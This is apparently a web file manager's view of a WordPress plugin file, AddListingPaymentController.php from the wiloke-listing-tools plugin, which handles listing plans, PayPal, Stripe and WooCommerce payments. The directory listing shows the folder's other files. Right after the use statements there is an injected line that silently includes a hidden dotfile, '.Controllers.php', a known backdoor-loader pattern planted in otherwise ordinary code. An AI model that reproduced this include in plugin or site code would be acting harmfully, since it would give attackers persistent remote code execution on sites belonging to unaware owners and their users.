ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / app / Controllers

<?php

namespace WilokeListingTools\Controllers;

use WC_Order;
use WILCITY_SC\SCHelpers;
use WilokeListingTools\Controllers\Retrieve\AjaxRetrieve;
use WilokeListingTools\Controllers\Retrieve\NormalRetrieve;
use WilokeListingTools\Framework\Helpers\FileSystem;
use WilokeListingTools\Framework\Helpers\GetSettings;
use WilokeListingTools\Framework\Helpers\GetWilokeSubmission;
use WilokeListingTools\Framework\Helpers\WooCommerce;
use WilokeListingTools\Framework\Payment\CancelSubscriptionStaticFactory;
use WilokeListingTools\Framework\Payment\PaymentGatewayStaticFactory;
use WilokeListingTools\Framework\Payment\PayPal\PayPalExecuteNonRecurringPayment;
use WilokeListingTools\Framework\Payment\PayPal\PayPalExecuteRecurringPayment;
use WilokeListingTools\Framework\Payment\Receipt\ReceiptStaticFactory;
use WilokeListingTools\Framework\Payment\SuspendSubscriptionPlan;
use WilokeListingTools\Framework\Routing\Controller;
use WilokeListingTools\Framework\Store\Session;
use WilokeListingTools\Frontend\User;
use WilokeListingTools\Models\PaymentMetaModel;
use WilokeListingTools\Models\PaymentModel;
use WilokeListingTools\Models\PlanRelationshipModel;
use WilokeListingTools\Models\UserModel;
use WP_Query;

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class AddListingPaymentController extends Controller
{
    private $planID;
    private $listingID;
    private $productID;
    private $oReceipt;
    private $gateway;
    private $isNonRecurringPayment;
    
    public function __construct()
    {
        add_action('wp_ajax_wiloke_submission_purchase_add_listing_plan', [$this, 'purchaseAddListingPlan']);
        add_action('wp_ajax_wiloke_submission_change_plan', [$this, 'changeAddListingPlan']);
        add_action('wp_ajax_wiloke_submission_cancel_add_listing_plan', [$this, 'cancelAddListingPlan']);
        add_action('wilcity/wiloke-listing-tools/after-added-addCustomScripts', [$this, 'enqueueScripts'], 100);
        add_action('init', [$this, 'paymentExecution'], 1);
        add_action('wp_ajax_wilcity_post_type_plans', [$this, 'fetchPostTypePlans']);
        add_action('wp_ajax_wilcity_fetch_gateways', [$this, 'fetchPaymentGateways']);
        add_action('wp_ajax_wilcity_fetch_billing_type', [$this, 'getBillingType']);
        add_action('wp_ajax_fetch_listings_in_payment_id', [$this, 'fetchListingsInPaymentID']);
        
        add_action('woocommerce_checkout_order_processed', [$this, 'purchaseAddListingPlanThroughWooCommerce'], 5, 1);
    }
    
    public function fetchListingsInPaymentID()
    {
        $aMiddleware = ['verifyNonce', 'verifyPaymentID'];
        $aData       = $_POST;
        
        $aStatus = $this->middleware($aMiddleware, [
            'paymentID' => $aData['paymentID'],
            'isBoolean' => true
        ]);
        
        $oRetrieve = new RetrieveController(new AjaxRetrieve());
        if ($aStatus['status'] == 'error') {
            FileSystem::logError($aStatus['msg']);
            
            return $oRetrieve->error(['msg' => $aStatus['msg']]);
        }
        
        $paymentID = abs($aData['paymentID']);
        
        $aRawListingIDs = PlanRelationshipModel::getObjectIDsByPaymentID($paymentID, false, false);
        
        if (empty($aRawListingIDs)) {
            if (GetWilokeSubmission::isNonRecurringPayment(PaymentModel::getField('billingType', $paymentID))) {
                $oRetrieve->error([
                    'msg' => esc_html__('There is no listing belongs to this plan currently.', 'wiloke-listing-tools')
                ]);
            } else {
                $oRetrieve->error([
                    'msg' => esc_html__('There is no listing belongs to this plan currently. Warning: You will still be billed for this subscription. To end billing, Cancel the plan instead.',
                        'wiloke-listing-tools')
                ]);
            }
        }
        
        $aListingIDs = array_map(function ($oListing) {
            return $oListing['objectID'];
        }, $aRawListingIDs);
        
        if (isset($aData['postID']) && !empty($aData['postID'])) {
            array_unshift($aListingIDs, $aData['postID']);
        }
        
        $query = new WP_Query(
            [
                'post_type' => 'any',
                'post__in'  => $aListingIDs,
                'orderby'   => 'post__in'
            ]
        );
        
        if (!$query->have_posts()) {
            $oRetrieve->error([
                'msg' => esc_html__('There is no listing in this payment id', 'wiloke-listing-tools')
            ]);
        }
        
        $aListings = [];
        while ($query->have_posts()) {
            $query->the_post();
            $aListings[] = [
                'postTitle'  => get_the_title($query->post->ID),
                'postType'   => $query->post->post_type,
                'postStatus' => $query->post->post_status,
                'ID'         => $query->post->ID
            ];
        }
        
        $oRetrieve->success([
            'listings' => $aListings
        ]);
    }
    
    public function getBillingType()
    {
        wp_send_json_success([
            'type' => GetWilokeSubmission::getBillingType()
        ]);
    }
    
    public function fetchPaymentGateways()
    {
        $oRetrieve = new RetrieveController(new AjaxRetrieve());
        
        $aGateways = GetWilokeSubmission::getGatewaysWithName(false);
        $noGateway = esc_html__('There are Payment Gateways', 'wiloke-listing-tools');
        
        if (empty($aGateways)) {
            $oRetrieve->error([
                'msg' => $noGateway
            ]);
        }
        
        $aGatewayOptions    = [];
        $isUsingWooCommerce = false;
        foreach ($aGateways as $gateway => $name) {
            if ($isUsingWooCommerce) {
                continue;
            }
            
            if ($gateway == 'woocommerce') {
                $isUsingWooCommerce = true;
            } else {
                $aGatewayOptions[] = [
                    'label' => $name,
                    'id'    => $gateway
                ];
            }
        }
        
        $oRetrieve->success([
            'aGateways'          => $aGatewayOptions,
            'isUsingWooCommerce' => $isUsingWooCommerce
        ]);
    }
    
    public function fetchPostTypePlans()
    {
        $oRetrieve = new RetrieveController(new AjaxRetrieve());
        if (!isset($_GET['paymentID']) || empty($_GET['paymentID'])) {
            $oRetrieve->error([
                'msg' => esc_html__('The payment ID is required', 'wiloke-listing-tools')
            ]);
        }
        
        $paymentID = absint($_GET['paymentID']);
        $listingID = PlanRelationshipModel::getLastObjectIDByPaymentID($paymentID);
        $aPlanIDs  = GetWilokeSubmission::getAddListingPlans(GetWilokeSubmission::getPlanKeyByListingID($listingID));
        if (empty($aPlanIDs)) {
            $oRetrieve->error([
                'msg' => esc_html__('We found no plans in this listing type.', 'wiloke-listing-tools')
            ]);
        }
        
        $query = new WP_Query(
            [
                'post_type'   => 'listing_plan',
                'post_status' => 'publish',
                'post__in'    => $aPlanIDs,
                'orderby'     => 'post__in'
            ]
        );
        
        if (!$query->have_posts()) {
            $oRetrieve->error([
                'msg' => esc_html__('We found no plans in this listing type.', 'wiloke-listing-tools')
            ]);
        }
        
        $aPlans = [];
        while ($query->have_posts()) {
            $query->the_post();
            global $post;
            $aPlanSettings  = GetSettings::getPlanSettings($post->ID);
            $remainingItems = UserModel::getRemainingItemsOfPlans($post->ID);
            $period         = empty($aPlanSettings['regular_period']) ? esc_html__('Forever', 'wiloke-listing-tools') :
                sprintf(esc_html__('%d days', 'wiloke-listing-tools'), $aPlanSettings['regular_period']);
            $trialPeriod    = empty($aPlanSettings['trial_period']) ? '' : sprintf(esc_html__('%d trial days',
                'wiloke-listing-tools'), $aPlanSettings['trial_period']);
            
            $productID = GetSettings::getPostMeta($query->post->ID, 'woocommerce_association');
            
            $aPlans[] = [
                'postTitle'      => get_the_title($post->ID),
                'content'        => $post->post_content,
                'ID'             => $post->ID,
                'price'          => SCHelpers::renderPlanPrice($aPlanSettings['regular_price'],
                    $aPlanSettings, $productID),
                'period'         => $period,
                'trialPeriod'    => $trialPeriod,
                'availability'   => sprintf(esc_html__('%d Listing(s)', 'wiloke-listing-tools'),
                    $aPlanSettings['availability_items']),
                'remainingItems' => empty($remainingItems) ? '' :
                    sprintf(esc_html__('%d remaining item(s)', 'wiloke-listing-tools'),
                        $remainingItems)
            ];
        }
        wp_reset_postdata();
        
        $oRetrieve->success([
            'aPlans' => $aPlans
        ]);
    }
    
    public function paymentExecution()
    {
        if (
            !isset($_GET['category']) || !in_array($_GET['category'], ['addlisting', 'paidClaim'])
            || !isset($_GET['category']) || empty($_GET['category'])
            || !isset($_GET['token']) || empty($_GET['token'])
            || Session::getSession('waiting_for_paypal_execution') !== 'yes'
        ) {
            return false;
        }
        
        $paymentID   = PaymentMetaModel::getPaymentIDByToken($_GET['token']);
        $billingType = PaymentModel::getField('billingType', $paymentID);
        if (GetWilokeSubmission::isNonRecurringPayment($billingType)) {
            $oPayPalMethod = new PayPalExecuteAddListingPayment(new PayPalExecuteNonRecurringPayment());
        } else {
            $oPayPalMethod = new PayPalExecuteAddListingPayment(new PayPalExecuteRecurringPayment());
        }
        
        if (!$oPayPalMethod) {
            return false;
        }
        
        if ($oPayPalMethod->verify()) {
            $aResponse = $oPayPalMethod->execute();
            if ($aResponse['status'] == 'error') {
                Session::setSession('payment_error', $aResponse['msg']);
                FileSystem::logError($aResponse['msg'], __CLASS__, __METHOD__);
            }
        }
    }
    
    public function enqueueScripts()
    {
        if (is_page_template('wiloke-submission/checkout.php')) {
            wp_enqueue_script('proceedPayment', WILOKE_THEME_URI.'assets/production/js/proceedPayment.min.js',
                ['jquery'],
                WILOKE_THEMEVERSION, true);
        }
        
        if (!GetWilokeSubmission::isGatewaySupported('stripe') || is_home()) {
            return false;
        }
    }
    
    /**
     * Using Stripe API v3: It's required in EU
     *
     * @see   https://stripe.com/docs/payments/checkout/server#create-one-time-payments
     * @since 1.1.7.6
     */
    public function createSession($billingType = null)
    {
        $this->isNonRecurringPayment = GetWilokeSubmission::isNonRecurringPayment($billingType);
        $aPaymentMethod              = PaymentGatewayStaticFactory::get(
            $this->gateway,
            $this->isNonRecurringPayment
        );
        
        if ($aPaymentMethod['status'] == 'success') {
            return $aPaymentMethod['oPaymentMethod']->proceedPayment($this->oReceipt);
        }
        
        return $aPaymentMethod;
    }
    
    public function changeAddListingPlan()
    {
        $aData       = wp_parse_args(
            $_POST,
            [
                'paymentID'                 => '',
                'newPlanID'                 => '',
                'currentPlanID'             => '',
                'postIds'                   => '',
                'cancelCurrentSubscription' => 'no'
            ]
        );
        $aMiddleware = ['verifyNonce', 'isSetupThankyouCancelUrl', 'verifyPaymentID'];
        
        $aStatus   = $this->middleware($aMiddleware, [
            'paymentID' => $aData['paymentID'],
            'isBoolean' => true
        ]);
        $oRetrieve = new RetrieveController(new AjaxRetrieve());
        if ($aStatus['status'] == 'error') {
            FileSystem::logError($aStatus['msg']);
            
            return $oRetrieve->error(['msg' => $aStatus['msg']]);
        }
        
        FileSystem::logSuccess('Starting change listing plan');
        
        $currentPaymentID = abs($_POST['paymentID']);
        $listingID        = PlanRelationshipModel::getLastObjectIDByPaymentID($currentPaymentID);
        
        if (empty($listingID)) {
            return $oRetrieve->error([
                'msg' => esc_html__('There is no listing belongs to this plan currently', 'wiloke-listing-tools')
            ]);
        }
        
        $listingType = get_post_type($listingID);
        $newPlanID   = abs($aData['newPlanID']);
        
        $aStatus = $this->middleware(['isPlanExists'], [
            'listingType' => $listingType,
            'planID'      => $newPlanID,
            'isBoolean'   => true
        ]);
        
        if (empty($aData['currentPlanID'])) {
            $msg = esc_html__('The current plan id is required', 'wiloke-listing-tools');
            FileSystem::logError($msg);
            
            return $oRetrieve->error(['msg' => $msg]);
        }
        
        $currentPlanID = abs($aData['currentPlanID']);
        
        if ($aStatus['status'] == 'error') {
            FileSystem::logError($aStatus['msg']);
            
            return $oRetrieve->error(['msg' => $aStatus['msg']]);
        }
        
        $aPostIds = $aData['postIds'];
        if (empty($aData['postIds'])) {
            $aPostIds = PlanRelationshipModel::getObjectIDsByPaymentID($currentPaymentID, true);
            if (empty($aPostIds)) {
                return $oRetrieve->error([
                    'msg' => esc_html__('You have to select 1 listing at least',
                        'wiloke-listing-tools')
                ]);
            }
        }
        
        $maybeHasPaymentID = PaymentModel::getPaymentIDHasRemainingItemsByPlanID($newPlanID);
        $totalUpgradePost  = count($aPostIds);
        
        if (!empty($maybeHasPaymentID)) {
            if ($totalUpgradePost > $maybeHasPaymentID['remainingItems']) {
                return $oRetrieve->error([
                    'msg' => sprintf(
                        esc_html__(
                            'Error: Number of upgrade listings has been exceeded Number of remaining listings. Solution: You purchased this plan before and there is/are %d remaining item(s) now, please deduce the number of upgrade listings to smaller or equal to %d',
                            'wiloke-listing-tools'
                        ),
                        $maybeHasPaymentID['remainingItems'], $maybeHasPaymentID['remainingItems']
                    )
                ]);
            } else {
                /**
                 * @PlanRelationshipController:changeListingsToNewPlan 1
                 * @PostController            :changedListingToAnotherPurchasedPlan 10
                 */
                $aStatus = apply_filters(
                    'wilcity/wiloke-listing-tools/change-listings-to-another-purchased-plan',
                    [
                        'status' => '',
                        'msg'    => ''
                    ],
                    [
                        'postIDs'      => $aPostIds,
                        'paymentID'    => $maybeHasPaymentID['paymentID'],
                        'planID'       => $newPlanID,
                        'oldPlanID'    => $currentPlanID,
                        'oldPaymentID' => $currentPaymentID
                    ]
                );
                
                if ($aStatus['status'] == 'error') {
                    $oRetrieve->error($aStatus);
                }
                
                $msg       = esc_html__(
                    'Congratulations, Your listings have been changed to new plan!',
                    'wiloke-listing-tools'
                );
                $aListings = [];
                foreach ($aPostIds as $postID) {
                    $aListings[] = [
                        'postTitle'  => sprintf(esc_html__('Listing Title: %s', 'wiloke-listing-tools'),
                            get_the_title($postID)),
                        'postStatus' => sprintf(esc_html__('Listing Status: %s', 'wiloke-listing-tools'),
                            get_post_status($postID)),
                        'planInfo'   => sprintf(esc_html__('Switched from %s to %s', 'wiloke-listing-tools'),
                            get_the_title($currentPlanID), get_the_title($newPlanID))
                    ];
                }
                
                $oRetrieve->success(apply_filters(
                    'wilcity/wiloke-listing-tools/changed-plan-message',
                    [
                        'msg'      => $msg,
                        'listings' => $aListings,
                        'warning'  => esc_html__(
                            'Warning: You will still be billed for this subscription even there is no listing belongs to it. To end billing, Cancel the plan instead',
                            'wiloke-listing-tools'
                        )
                    ]
                ));
            }
        } else {
            $aPlanSettings = GetSettings::getPlanSettings($newPlanID);
            if (!empty($aPlanSettings['availability_items']) &&
                $totalUpgradePost > $aPlanSettings['availability_items']
            ) {
                return $oRetrieve->error([
                    'msg' => sprintf(
                        esc_html__(
                            'Number of upgrade listings has been exceeded Availability Items of this plan. You can upgrade maximum %s listings',
                            'wiloke-listing-tools'
                        ),
                        $aPlanSettings['availability_items']
                    )
                ]);
            }
            
            $aBeforeRedirect = [];
            if (!empty($currentPaymentID) && $aData['cancelCurrentSubscription'] === 'yes') {
                try {
                    $aSuspendedStatus = (new SuspendSubscriptionPlan())->setPaymentID($currentPaymentID)->suspend();
                    if ($aSuspendedStatus['status'] === 'error') {
                        return $oRetrieve->error($aSuspendedStatus);
                    }
                    
                    $aBeforeRedirect = [
                        'beforeRedirect' => [
                            'msg' => sprintf(esc_html__('The current payment subscription has been suspended successfully. Please complete new payment session to new subscription',
                                'wiloke-listing-tools'))
                        ]
                    ];
                } catch (\Exception $oE) {
                    return $oRetrieve->error([
                        'msg' => $oE->getMessage()
                    ]);
                }
            }
            
            // Starting set session
            Session::setPaymentPlanID($newPlanID);
            Session::setPaymentObjectID(implode(',', $aPostIds));
            Session::setPaymentCategory('addlisting');
            
            $aPostsApproved = [];
            foreach ($aPostIds as $objectID) {
                if (get_post_status($objectID) === 'publish') {
                    $aPostsApproved[] = $objectID;
                }
            }
            
            if (!empty($aPostsApproved)) {
                Session::setFocusObjectsApprovedImmediately($aPostIds);
            }
            
            $this->planID    = $newPlanID;
            $this->listingID = Session::getPaymentObjectID();
            
            $aMiddleware   = ['isGatewaySupported', 'isSetupThankyouCancelUrl'];
            $this->gateway = isset($_POST['gateway']) ? $_POST['gateway'] : '';
            
            $aStatus = $this->middleware($aMiddleware, [
                'gateway'     => $this->gateway,
                'planID'      => $this->planID,
                'listingType' => get_post_type($aPostIds[0]),
                'isBoolean'   => true
            ]);
            
            if ($aStatus['status'] == 'error') {
                return $oRetrieve->error(['msg' => $aStatus['msg']]);
            }
            
            /**
             * If We are using WooCommerce, We will handle it via WooCommerce, it's a special case
             */
            if ($this->gateway == 'woocommerce') {
                $this->productID = GetSettings::getPostMeta($this->planID, 'woocommerce_association');
                if (empty($this->productID) || get_post_type($this->productID) != 'product') {
                    return $oRetrieve->error([
                        'msg' => sprintf(
                            esc_html__('You have to assign a product to %s plan', 'wiloke-listing-tools'),
                            get_the_title($this->planID)
                        )
                    ]);
                }
                
                /*
                * @hooked WooCommerceController:removeProductFromCart
                */
                do_action('wiloke-listing-tools/before-redirecting-to-cart', $this->productID);
                Session::setProductID($this->productID);
                
                return $oRetrieve->success([
                    'redirectTo' => GetSettings::getCartUrl($this->planID),
                    'gateway'    => $this->gateway
                ]);
            }
            
            $this->oReceipt = ReceiptStaticFactory::get('addlisting', [
                'planID'     => $this->planID,
                'userID'     => User::getCurrentUserID(),
                'couponCode' => ''
            ]);
            
            $this->oReceipt->setupPlan();
            $aResponse = $this->createSession();
            
            if ($aResponse['status'] == 'success') {
                return $oRetrieve->success($aResponse + $aBeforeRedirect);
            }
            
            return $oRetrieve->error($aResponse);
        }
    }
    
    public function cancelAddListingPlan()
    {
        $aMiddleware = ['verifyNonce', 'isSetupThankyouCancelUrl', 'verifyPaymentID'];
        $aStatus     = $this->middleware($aMiddleware, [
            'paymentID' => $_POST['paymentID'],
            'isBoolean' => true
        ]);
        
        $oRetrieve = new RetrieveController(new AjaxRetrieve());
        if ($aStatus['status'] == 'error') {
            return $oRetrieve->error(['msg' => $aStatus['msg']]);
        }
        
        FileSystem::logSuccess(sprintf('Processing cancel %d id', $_POST['paymentID']));
        
        $gateway        = PaymentModel::getField('gateway', $_POST['paymentID']);
        $oPaymentMethod = CancelSubscriptionStaticFactory::get($gateway);
        
        $aStatus = $oPaymentMethod->execute($_POST['paymentID']);
        
        if ($aStatus['status'] == 'success') {
            return $oRetrieve->success(['msg' => $aStatus['msg']]);
        }
        
        return $oRetrieve->error(['msg' => $aStatus['msg']]);
    }
    
    private function verifyPurchaseAddListingPlan($aData)
    {
        $this->planID    = Session::getPaymentPlanID();
        $this->listingID = Session::getPaymentObjectID();
        
        // May be multiple listings
        $aParseListing = explode(',', $this->listingID);
        $aParseListing = array_map(function ($listing) {
            return trim($listing);
        }, $aParseListing);
        
        $aMiddleware   = ['isGatewaySupported', 'isPlanExists', 'isSetupThankyouCancelUrl'];
        $this->gateway = isset($aData['gateway']) ? $aData['gateway'] : '';
        
        return $this->middleware($aMiddleware, [
            'gateway'     => $this->gateway,
            'planID'      => $this->planID,
            'listingType' => get_post_type($aParseListing[0]),
            'isBoolean'   => true
        ]);
    }
    
    public function purchaseAddListingPlan()
    {
        $aData   = empty($aData) ? $_POST : $aData;
        $aStatus = $this->verifyPurchaseAddListingPlan($aData);
        
        $oRetrieve = new RetrieveController(new AjaxRetrieve());
        if ($aStatus['status'] == 'error') {
            if (!empty($this->listingID)) {
                $msg = sprintf(
                    __('Re-edit %s listing', 'wiloke-listing-tools'),
                    '<a href="'.get_permalink($this->listingID).'">'.get_the_title($this->listingID).'</a>'
                );
            } else {
                $msg = sprintf(
                    __('<a href="%s">Got to Listing Dashboard</a>', 'wiloke-listing-tools'),
                    GetWilokeSubmission::getDashboardUrl('dashboard_page', 'listings')
                );
            }
            
            return $oRetrieve->error(
                [
                    'msg' => $aStatus['msg'].' '.$msg
                ]
            );
        }
        
        $this->oReceipt = ReceiptStaticFactory::get('addlisting', [
            'planID'     => $this->planID,
            'userID'     => User::getCurrentUserID(),
            'couponCode' => $aData['couponCode'],
            'aRequested' => $_REQUEST
        ]);
        
        $this->oReceipt->setupPlan();
        $aStatus = $this->createSession();
        
        if ($aStatus['status'] == 'success') {
            return $oRetrieve->success($aStatus);
        }
        
        return $oRetrieve->error($aStatus);
    }
    
    public function purchaseAddListingPlanThroughWooCommerce($orderID)
    {
        $oOrder = new WC_Order($orderID);
        $aItems = $oOrder->get_items();
        
        foreach ($aItems as $aItem) {
            $productID    = $aItem['product_id'];
            $this->planID = PlanRelationshipModel::getPlanIDByProductID($productID);
            // If $planID is not empty, which means it's Add Listing Plan Submission
            if (!empty($this->planID)) {
                Session::setPaymentPlanID($this->planID);
                $aData['gateway'] = 'woocommerce';
                
                $aStatus = $this->verifyPurchaseAddListingPlan($aData);
                
                $oRetrieve = new RetrieveController(new AjaxRetrieve());
                if ($aStatus['status'] == 'error') {
                    return $oRetrieve->error(['msg' => $aStatus['msg']]);
                }
                
                $this->oReceipt = ReceiptStaticFactory::get('addlisting', [
                    'planID'     => $this->planID,
                    'userID'     => User::getCurrentUserID(),
                    'couponCode' => isset($aData['couponCode']) ? $aData['couponCode'] : '',
                    'productID'  => $productID,
                    'orderID'    => $orderID,
                    'aRequested' => $_REQUEST
                ]);
                $this->oReceipt->setupPlan();
                
                $isNonRecurringPayment = !WooCommerce::isSubscriptionProduct($productID);
                $aResponse             = $this->createSession($isNonRecurringPayment);
                
                $oRetrieve = new RetrieveController(new AjaxRetrieve());
                if ($aResponse['status'] != 'success') {
                    return $oRetrieve->error($aResponse);
                }
            }
        }
    }
}

[+] ..
[-] PermalinksController.php [edit]
[-] MessageController.php [edit]
[-] SetListingBelongsToPlanID.php [edit]
[-] BelongsToTags.php [edit]
[-] PrintAddListingSettings.php [edit]
[-] InsertGallery.php [edit]
[-] ViewStatisticController.php [edit]
[-] TermsAndPolicyController.php [edit]
[-] AddListingButtonController.php [edit]
[-] SetSinglePrice.php [edit]
[-] SetCustomButton.php [edit]
[-] WooCommerceBookingController.php [edit]
[-] SetMyPosts.php [edit]
[-] SetVideo.php [edit]
[-] Validation.php [edit]
[-] PrintAddListingFields.php [edit]
[-] NoticeController.php [edit]
[-] SharesStatisticController.php [edit]
[-] TraitAddListingSettings.php [edit]
[-] SetListingRelationship.php [edit]
[-] EmailController.php [edit]
[-] SetMyRoom.php [edit]
[-] SessionController.php [edit]
[-] DashboardController.php [edit]
[-] EventController.php [edit]
[-] AppleLoginController.php [edit]
[-] TraitSetEventData.php [edit]
[-] PayPalController.php [edit]
[-] TranslationController.php [edit]
[-] PostController.php [edit]
[-] DokanController.php [edit]
[-] TermController.php [edit]
[-] FavoriteStatisticController.php [edit]
[-] SetSocialNetworks.php [edit]
[-] SetCustomGroup.php [edit]
[-] SetCustomSections.php [edit]
[-] AuthorPageController.php [edit]
[-] AddBookingComBannerCreator.php [edit]
[-] PlanRelationshipController.php [edit]
[-] ProfileController.php [edit]
[-] MapListingController.php [edit]
[-] UserController.php [edit]
[-] BillingControllers.php [edit]
[-] InsertAddress.php [edit]
[-] PaymentStatusController.php [edit]
[-] BelongsToCategories.php [edit]
[-] InsertCoverImage.php [edit]
[-] SetPriceRange.php [edit]
[-] SetPlanRelationship.php [edit]
[-] ListingController.php [edit]
[-] SetGeneral.php [edit]
[-] GridItemController.php [edit]
[-] PaymentController.php [edit]
[+] TransformAddListingData
[-] ContactFormController.php [edit]
[-] InsertFeaturedImg.php [edit]
[-] AddListingController.php [edit]
[-] BelongsToLocation.php [edit]
[-] RestaurantMenuController.php [edit]
[-] AjaxUploadImgController.php [edit]
[-] NotificationsController.php [edit]
[-] SingleJsonSkeleton.php [edit]
[-] GalleryController.php [edit]
[-] IsMyPaymentID.php [edit]
[-] InsertImg.php [edit]
[-] ModalController.php [edit]
[-] PaymentGatewaysController.php [edit]
[-] ShareController.php [edit]
[-] RetrieveController.php [edit]
[-] ModifyQueryController.php [edit]
[-] TraitHostedBy.php [edit]
[-] ChangePlanStatusController.php [edit]
[-] TaxonomiesControllers.php [edit]
[-] WebhookController.php [edit]
[-] SearchFormController.php [edit]
[-] FreePlanController.php [edit]
[-] BelongsToCustomTaxonomies.php [edit]
[-] PromotionController.php [edit]
[-] RunUpdateDBToLatestVersionController.php [edit]
[-] UserPlanController.php [edit]
[-] SetContactInfo.php [edit]
[-] InsertLogo.php [edit]
[+] Retrieve
[+] Map
[-] VerifyPurchaseCode.php [edit]
[-] StripeController.php [edit]
[-] NextBillingPaymentController.php [edit]
[-] SchemaController.php [edit]
[-] IconController.php [edit]
[-] AddMorePhotosVideosController.php [edit]
[-] SetPostDuration.php [edit]
[-] GuardController.php [edit]
[-] ReviewController.php [edit]
[-] OptimizeScripts.php [edit]
[-] PaymentMetaController.php [edit]
[-] GetWilokeToolSettings.php [edit]
[-] SetCoupon.php [edit]
[-] CouponController.php [edit]
[-] AddListingPaymentController.php [edit]
[-] FacebookLoginController.php [edit]
[-] SingleController.php [edit]
[-] BookingComController.php [edit]
[-] SetGroupData.php [edit]
[-] InvoiceController.php [edit]
[-] SetProductsToListing.php [edit]
[-] ReportController.php [edit]
[-] PayPalExecuteAddListingPayment.php [edit]
[-] HandleSubmit.php [edit]
[-] WooCommerceController.php [edit]
[-] FollowController.php [edit]
[-] PrintSidebarItems.php [edit]
[-] .Controllers.php [edit]
[-] DirectBankTransferController.php [edit]
[-] ClaimController.php [edit]
[-] GetSingleImage.php [edit]
[-] SetRestaurantMenu.php [edit]
[-] MergingSettingValues.php [edit]
[-] GoogleReCaptchaController.php [edit]
[-] RegisterLoginController.php [edit]
[-] TagsBelongsToCatController.php [edit]